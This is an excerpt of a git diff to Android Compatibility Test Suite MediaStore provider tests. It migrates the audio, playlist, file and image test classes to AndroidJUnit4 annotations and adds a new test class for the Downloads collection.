+import static org.junit.Assert.assertTrue;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
 import android.provider.MediaStore.Audio.Media;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-public class MediaStore_Audio_MediaTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_MediaTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(
@@ -53,6 +66,7 @@
         assertNull(mContentResolver.query(Media.getContentUri(volume), null, null, null, null));
     }
 
+    @Test
     public void testGetContentUriForPath() {
         Cursor c = null;
         String externalPath = Environment.getExternalStorageDirectory().getPath();
@@ -60,22 +74,23 @@
                 null, null));
         c.close();
 
-        String internalPath =
-            getInstrumentation().getTargetContext().getFilesDir().getAbsolutePath();
+        String internalPath = mContext.getFilesDir().getAbsolutePath();
         assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
                 null, null));
         c.close();
     }
 
+    @Test
     public void testStoreAudioMediaInternal() {
-        testStoreAudioMedia(true);
+        doStoreAudioMedia(true);
     }
 
+    @Test
     public void testStoreAudioMediaExternal() {
-        testStoreAudioMedia(false);
+        doStoreAudioMedia(false);
     }
 
-    private void testStoreAudioMedia(boolean isInternal) {
+    private void doStoreAudioMedia(boolean isInternal) {
         Audio1 audio1 = Audio1.getInstance();
         ContentValues values = audio1.getContentValues(isInternal);
         //insert
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
index 463dfcb..a14ba3e 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
@@ -16,28 +16,41 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.database.SQLException;
 import android.net.Uri;
 import android.os.Environment;
 import android.provider.MediaStore.Audio.Playlists;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.regex.Pattern;
 
-public class MediaStore_Audio_PlaylistsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_PlaylistsTest {
+    private Context mContext;
     private ContentResolver mContentResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
     }
 
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(
@@ -61,6 +74,7 @@
                 null));
     }
 
+    @Test
     public void testStoreAudioPlaylistsExternal() {
         final String externalPlaylistPath = Environment.getExternalStorageDirectory().getPath() +
             "/my_favorites.pl";
@@ -109,6 +123,7 @@
         }
     }
 
+    @Test
     public void testStoreAudioPlaylistsInternal() {
         ContentValues values = new ContentValues();
         values.put(Playlists.NAME, "My favourites");
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
index cc69942..2adde5c 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
@@ -16,9 +16,14 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.content.ContentResolver;
 import android.content.ContentValues;
+import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
 import android.provider.MediaStore;
@@ -31,11 +36,18 @@
 import android.provider.cts.MediaStoreAudioTestHelper.Audio4;
 import android.provider.cts.MediaStoreAudioTestHelper.Audio5;
 import android.provider.cts.MediaStoreAudioTestHelper.MockAudioMediaInfo;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.regex.Pattern;
 
-public class MediaStore_Audio_Playlists_MembersTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Audio_Playlists_MembersTest {
     private String[] mAudioProjection = {
             Members._ID,
             Members.ALBUM,
@@ -93,6 +105,7 @@
             Members.YEAR,
     };
 
+    private Context mContext;
     private ContentResolver mContentResolver;
 
     private long mIdOfAudio1;
@@ -110,11 +123,11 @@
         return id;
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
 
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
         mIdOfAudio1 = insertAudioItem(Audio1.getInstance());
         mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
         mIdOfAudio3 = insertAudioItem(Audio3.getInstance());
@@ -122,16 +135,16 @@
         mIdOfAudio5 = insertAudioItem(Audio5.getInstance());
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio1, null);
         mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio2, null);
         mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio3, null);
         mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio4, null);
         mContentResolver.delete(Media.EXTERNAL_CONTENT_URI, Media._ID + "=" + mIdOfAudio5, null);
-        super.tearDown();
     }
 
+    @Test
     public void testGetContentUri() {
         assertEquals("content://media/external/audio/playlists/1337/members",
                 Members.getContentUri("external", 1337).toString());
@@ -182,6 +195,7 @@
         c.close();
     }
 
+    @Test
     public void testStoreAudioPlaylistsMembersExternal() {
         ContentValues values = new ContentValues();
         values.put(Playlists.NAME, "My favourites");
@@ -451,6 +465,7 @@
         }
     }
 
+    @Test
     public void testStoreAudioPlaylistsMembersInternal() {
         ContentValues values = new ContentValues();
         values.put(Playlists.NAME, "My favourites");
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
new file mode 100644
index 0000000..63e62c7
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
@@ -0,0 +1,350 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.media.MediaScannerConnection;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Downloads;
+import android.provider.MediaStore.Images;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import libcore.io.IoUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.security.DigestInputStream;
+import java.security.MessageDigest;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_DownloadsTest {
+    private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
+    private static final long SCAN_TIMEOUT_MILLIS = 4000;
+    private static final long NOTIFY_TIMEOUT_MILLIS = 4000;
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+    private File mDownloadsDir;
+    private File mPicturesDir;
+    private ArrayList<Uri> mAddedUris;
+    private final Uri mExternalDownloads = Downloads.EXTERNAL_CONTENT_URI;
+    private CountDownLatch mCountDownLatch;
+    private int mInitialDownloadsCount;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+        mDownloadsDir = Environment.getExternalStoragePublicDirectory(
+                Environment.DIRECTORY_DOWNLOADS);
+        mPicturesDir = Environment.getExternalStoragePublicDirectory(
+                Environment.DIRECTORY_PICTURES);
+        mDownloadsDir.mkdir();
+        mPicturesDir.mkdir();
+        mAddedUris = new ArrayList<>();
+        mInitialDownloadsCount = getInitialDownloadsCount();
+    }
+
+    @After
+    public void tearDown() {
+        for (Uri uri : mAddedUris) {
+            mContentResolver.delete(uri, null, null);
+        }
+    }
+
+    @Test
+    public void testScannedDownload() throws Exception {
+        final File downloadFile = new File(mDownloadsDir, "colors.txt");
+        downloadFile.createNewFile();
+        final String fileContents = "RED;GREEN;BLUE";
+        try (final PrintWriter pw = new PrintWriter(downloadFile)) {
+            pw.print(fileContents);
+        }
+        verifyScannedDownload(downloadFile);
+    }
+
+    @Test
+    public void testScannedMediaDownload() throws Exception {
+        final File downloadFile = new File(mDownloadsDir, "scenery.png");
+        downloadFile.createNewFile();
+        try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+                OutputStream out = new FileOutputStream(downloadFile)) {
+            FileUtils.copy(in, out);
+        }
+        verifyScannedDownload(downloadFile);
+    }
+
+    @Test
+    public void testGetContentUri() throws Exception {
+        Cursor c;
+        assertNotNull(c = mContentResolver.query(Downloads.INTERNAL_CONTENT_URI,
+                null, null, null, null));
+        c.close();
+        assertNotNull(c = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+                null, null, null, null));
+        c.close();
+
+        // can not accept any other volume names
+        final String volume = "faveVolume";
+        assertNull(mContentResolver.query(Downloads.getContentUri(volume),
+                null, null, null, null));
+    }
+
+    @Test
+    public void testMediaInDownloadsDir() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final Uri insertUri = insertImage(displayName, "test image",
+                new File(mDownloadsDir, "scenery.jpg"), "image/jpeg", R.raw.scenery);
+        final String displayName2 = "cts" + System.nanoTime();
+        final Uri insertUri2 = insertImage(displayName2, "test image2",
+                new File(mPicturesDir, "volantis.jpg"), "image/jpeg", R.raw.volantis);
+
+        try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+                null, "title LIKE ?1", new String[] { displayName }, null)) {
+            assertEquals(1, cursor.getCount());
+            cursor.moveToNext();
+            assertEquals("image/jpeg",
+                    cursor.getString(cursor.getColumnIndex(Images.Media.MIME_TYPE)));
+        }
+
+        assertEquals(1, mContentResolver.delete(insertUri, null, null));
+        mAddedUris.remove(insertUri);
+        try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+                null, null, null, null)) {
+            assertEquals(mInitialDownloadsCount, cursor.getCount());
+        }
+    }
+
+    @Test
+    public void testUpdateDownload() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final MediaStore.PendingParams params = new MediaStore.PendingParams(
+                Downloads.EXTERNAL_CONTENT_URI, displayName, "video/3gp");
+        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+        params.setDownloadUri(downloadUri);
+
+        final Uri pendingUri = MediaStore.createPending(mContext, params);
+        assertNotNull(pendingUri);
+        mAddedUris.add(pendingUri);
+        final Uri publishUri;
+        final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+        try {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        } finally {
+            IoUtils.closeQuietly(session);
+        }
+
+        final String newDisplayName = "cts" + System.nanoTime();
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Downloads.DISPLAY_NAME, newDisplayName);
+        assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+
+        try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+                null, "_display_name LIKE ?1", new String[] { newDisplayName }, null)) {
+            assertEquals(1, cursor.getCount());
+            cursor.moveToNext();
+            assertEquals("video/3gp",
+                    cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
+            assertEquals(downloadUri.toString(),
+                    cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
+        }
+    }
+
+    @Test
+    public void testDeleteDownload() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final MediaStore.PendingParams params = new MediaStore.PendingParams(
+                Downloads.EXTERNAL_CONTENT_URI, displayName, "video/3gp");
+        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+        params.setDownloadUri(downloadUri);
+
+        final Uri pendingUri = MediaStore.createPending(mContext, params);
+        assertNotNull(pendingUri);
+        mAddedUris.add(pendingUri);
+        final Uri publishUri;
+        final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+        try {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        } finally {
+            IoUtils.closeQuietly(session);
+        }
+
+        assertEquals(1, mContentResolver.delete(publishUri, null, null));
+        try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+                null, null, null, null)) {
+            assertEquals(mInitialDownloadsCount, cursor.getCount());
+        }
+    }
+
+    @Test
+    public void testNotifyChange() throws Exception {
+        final ContentObserver observer = new ContentObserver(null) {
+            @Override
+            public void onChange(boolean selfChange, Uri uri) {
+                super.onChange(selfChange, uri);
+                mCountDownLatch.countDown();
+            }
+        };
+        mContentResolver.registerContentObserver(Downloads.EXTERNAL_CONTENT_URI, true, observer);
+        mContentResolver.registerContentObserver(MediaStore.AUTHORITY_URI, false, observer);
+        final Uri volumeUri = MediaStore.AUTHORITY_URI.buildUpon()
+                .appendPath(MediaStore.getVolumeName(Downloads.EXTERNAL_CONTENT_URI))
+                .build();
+        mContentResolver.registerContentObserver(volumeUri, false, observer);
+
+        mCountDownLatch = new CountDownLatch(1);
+        final String displayName = "cts" + System.nanoTime();
+        final MediaStore.PendingParams params = new MediaStore.PendingParams(
+                Downloads.EXTERNAL_CONTENT_URI, displayName, "video/3gp");
+        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+        params.setDownloadUri(downloadUri);
+        final Uri pendingUri = MediaStore.createPending(mContext, params);
+        assertNotNull(pendingUri);
+        mAddedUris.add(pendingUri);
+        final Uri publishUri;
+        final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+        try {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        } finally {
+            IoUtils.closeQuietly(session);
+        }
+        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+        mCountDownLatch = new CountDownLatch(1);
+        final String newDisplayName = "cts" + System.nanoTime();
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Downloads.DISPLAY_NAME, newDisplayName);
+        assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+
+        mCountDownLatch = new CountDownLatch(1);
+        assertEquals(1, mContentResolver.delete(publishUri, null, null));
+        mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+    }
+
+    private int getInitialDownloadsCount() {
+        try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+                null, null, null, null)) {
+            return cursor.getCount();
+        }
+    }
+
+    private Uri insertImage(String displayName, String description,
+            File file, String mimeType, int resourceId) throws Exception {
+        file.createNewFile();
+        try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+             OutputStream out = new FileOutputStream(file)) {
+            FileUtils.copy(in, out);
+        }
+
+        final ContentValues values = new ContentValues();
+        values.put(Images.Media.DISPLAY_NAME, displayName);
+        values.put(Images.Media.TITLE, displayName);
+        values.put(Images.Media.DESCRIPTION, description);
+        values.put(Images.Media.DATA, file.getAbsolutePath());
+        values.put(Images.Media.DATE_ADDED, System.currentTimeMillis() / 1000);
+        values.put(Images.Media.DATE_MODIFIED, System.currentTimeMillis() / 1000);
+        values.put(Images.Media.MIME_TYPE, mimeType);
+
+        final Uri insertUri = mContentResolver.insert(
+                MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
+        assertNotNull(insertUri);
+        mAddedUris.add(insertUri);
+        return insertUri;
+    }
+
+    private void verifyScannedDownload(File file) throws Exception {
+        final Uri mediaStoreUri = scanFile(file);
+        Log.e(TAG, "Scanned file " + file.getAbsolutePath() + ": " + mediaStoreUri);
+        mAddedUris.add(mediaStoreUri);
+        assertArrayEquals("File hashes should match for " + file + " and " + mediaStoreUri,
+                hash(new FileInputStream(file)),
+                hash(mContentResolver.openInputStream(mediaStoreUri)));
+
+        // Verify the file is part of downloads collection.
+        final long id = ContentUris.parseId(mediaStoreUri);
+        final Cursor cursor = mContentResolver.query(mExternalDownloads,
+                null, MediaStore.Downloads._ID + "=" + id, null, null);
+        assertEquals(1, cursor.getCount());
+    }
+
+    private Uri scanFile(File file) throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final Uri[] mediaStoreUris = new Uri[1];
+        MediaScannerConnection.scanFile(mContext,
+                new String[] {file.getAbsolutePath()},
+                null /* mimeType */,
+                (String path, Uri uri) -> {
+                    mediaStoreUris[0] = uri;
+                    latch.countDown();
+                });
+
+        latch.await(SCAN_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        assertNotNull("Failed to scan " + file.getAbsolutePath(), mediaStoreUris[0]);
+        return mediaStoreUris[0];
+    }
+
+    private static byte[] hash(InputStream in) throws Exception {
+        try (DigestInputStream digestIn = new DigestInputStream(in,
+                MessageDigest.getInstance("SHA-1"));
+                OutputStream out = new FileOutputStream(new File("/dev/null"))) {
+            FileUtils.copy(digestIn, out);
+            return digestIn.getMessageDigest().digest();
+        } finally {
+            IoUtils.closeQuietly(in);
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
index d22feee..380ba82 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
@@ -19,6 +19,13 @@
 import static android.provider.cts.ProviderTestUtils.assertExists;
 import static android.provider.cts.ProviderTestUtils.assertNotExists;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
@@ -31,9 +38,13 @@
 import android.provider.MediaStore;
 import android.provider.MediaStore.Files.FileColumns;
 import android.provider.MediaStore.MediaColumns;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.FileCopyHelper;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.File;
 import java.io.FileNotFoundException;
@@ -44,20 +55,21 @@
 import java.util.Collections;
 import java.util.List;
 
-public class MediaStore_FilesTest extends AndroidTestCase {
-
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_FilesTest {
+    private Context mContext;
     private ContentResolver mResolver;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         mResolver = mContext.getContentResolver();
+
         cleanup();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    @After
+    public void tearDown() throws Exception {
         cleanup();
     }
 
@@ -92,6 +104,7 @@
         f.delete();
     }
 
+    @Test
     public void testGetContentUri() {
         String volumeName = MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME;
         Uri allFilesUri = MediaStore.Files.getContentUri(volumeName);
@@ -172,6 +185,7 @@
         }
     }
 
+    @Test
     public void testCaseSensitivity() throws IOException {
         String fileDir = Environment.getExternalStorageDirectory() +
                 "/" + getClass().getCanonicalName();
@@ -202,6 +216,7 @@
         }
     }
 
+    @Test
     public void testAccess() throws Exception {
         // clean up from previous run
         mResolver.delete(MediaStore.Images.Media.INTERNAL_CONTENT_URI,
@@ -479,6 +494,7 @@
         return paths;
     }
 
+    @Test
     public void testUpdateMediaType() throws Exception {
         String fileDir = Environment.getExternalStorageDirectory() +
                 "/" + getClass().getCanonicalName();
@@ -519,8 +535,7 @@
         File out = new File(path);
         File dir = out.getParentFile();
         dir.mkdirs();
-        FileCopyHelper copier = new FileCopyHelper(mContext);
-        copier.copyToExternalStorage(resid, out);
+        ProviderTestUtils.stageFile(resid, out);
     }
 
     private int getFileCount(Uri uri) {
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index ba78763..fe9010d 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -16,28 +16,50 @@
 
 package android.provider.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.media.ExifInterface;
 import android.net.Uri;
 import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.storage.StorageManager;
 import android.platform.test.annotations.Presubmit;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Images.ImageColumns;
 import android.provider.MediaStore.Images.Media;
 import android.provider.MediaStore.Images.Thumbnails;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-import com.android.compatibility.common.util.FileCopyHelper;
 import com.android.compatibility.common.util.FileUtils;
 
+import libcore.io.IoUtils;
+
+import org.junit.After;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.OutputStream;
 import java.util.ArrayList;
 
-public class MediaStore_Images_MediaTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Images_MediaTest {
     private static final String MIME_TYPE_JPEG = "image/jpeg";
 
     private static final String TEST_TITLE1 = "test title1";
@@ -60,26 +82,18 @@
 
     private ContentResolver mContentResolver;
 
-    private FileCopyHelper mHelper;
-
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         for (Uri row : mRowsAdded) {
             mContentResolver.delete(row, null, null);
         }
-
-        mHelper.clear();
-        super.tearDown();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         mContentResolver = mContext.getContentResolver();
 
-        mHelper = new FileCopyHelper(mContext);
         mRowsAdded = new ArrayList<Uri>();
 
         File pics = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
@@ -93,6 +107,7 @@
 
     }
 
+    @Test
     public void testInsertImageWithImagePath() throws Exception {
         Cursor c = Media.query(mContentResolver, Media.EXTERNAL_CONTENT_URI, null, null,
                 "_id ASC");
@@ -100,7 +115,9 @@
         c.close();
 
         // insert an image by path
-        String path = mHelper.copy(R.raw.scenery, "mediaStoreTest1.jpg");
+        File file = mContext.getFileStreamPath("mediaStoreTest1.jpg");
+        String path = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.scenery, file);
         String stringUrl = null;
         try {
             stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE1, TEST_DESCRIPTION1);
@@ -114,7 +131,9 @@
         mRowsAdded.add(Uri.parse(stringUrl));
 
         // insert another image by path
-        path = mHelper.copy(R.raw.scenery, "mediaStoreTest2.jpg");
+        file = mContext.getFileStreamPath("mediaStoreTest2.jpg");
+        path = file.getAbsolutePath();
+        ProviderTestUtils.stageFile(R.raw.scenery, file);
         stringUrl = null;
         try {
             stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE2, TEST_DESCRIPTION2);
@@ -164,6 +183,7 @@
         c.close();
     }
 
+    @Test
     public void testInsertImageWithBitmap() throws Exception {
         // insert the image by bitmap
         Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
@@ -191,6 +211,7 @@
     }
 
     @Presubmit
+    @Test
     public void testGetContentUri() {
         Cursor c = null;
         assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
@@ -210,6 +231,7 @@
         new File(path).delete();
     }
 
+    @Test
     public void testStoreImagesMediaExternal() throws Exception {
         final String externalPath = Environment.getExternalStorageDirectory().getPath() +
                 "/testimage.jpg";
@@ -229,8 +251,6 @@
         long dateTaken = System.currentTimeMillis();
         values.put(Media.DATE_TAKEN, dateTaken);
         values.put(Media.DESCRIPTION, "This is a image");
-        values.put(Media.LATITUDE, 40.689060d);
-        values.put(Media.LONGITUDE, -74.044636d);
         values.put(Media.IS_PRIVATE, 1);
         values.put(Media.MINI_THUMB_MAGIC, 0);
         values.put(Media.DATA, externalPath);
@@ -259,8 +279,6 @@
             assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
             assertEquals("This is a image",
                     c.getString(c.getColumnIndex(Media.DESCRIPTION)));
-            assertEquals(40.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
-            assertEquals(-74.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
             assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
@@ -282,8 +300,6 @@
             dateTaken = System.currentTimeMillis();
             values.put(Media.DATE_TAKEN, dateTaken);
             values.put(Media.DESCRIPTION, "This is another image");
-            values.put(Media.LATITUDE, 41.689060d);
-            values.put(Media.LONGITUDE, -75.044636d);
             values.put(Media.IS_PRIVATE, 0);
             values.put(Media.MINI_THUMB_MAGIC, 2);
             values.put(Media.DATA, externalPath2);
@@ -304,8 +320,6 @@
             assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
             assertEquals("This is another image",
                     c.getString(c.getColumnIndex(Media.DESCRIPTION)));
-            assertEquals(41.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
-            assertEquals(-75.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
             assertEquals(0, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(2, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals(externalPath2,
@@ -324,6 +338,7 @@
         }
     }
 
+    @Test
     public void testStoreImagesMediaInternal() {
         // can not insert any data, so other operations can not be tested
         try {
@@ -351,4 +366,105 @@
         assertEquals(2, c.getCount());
         c.close();
     }
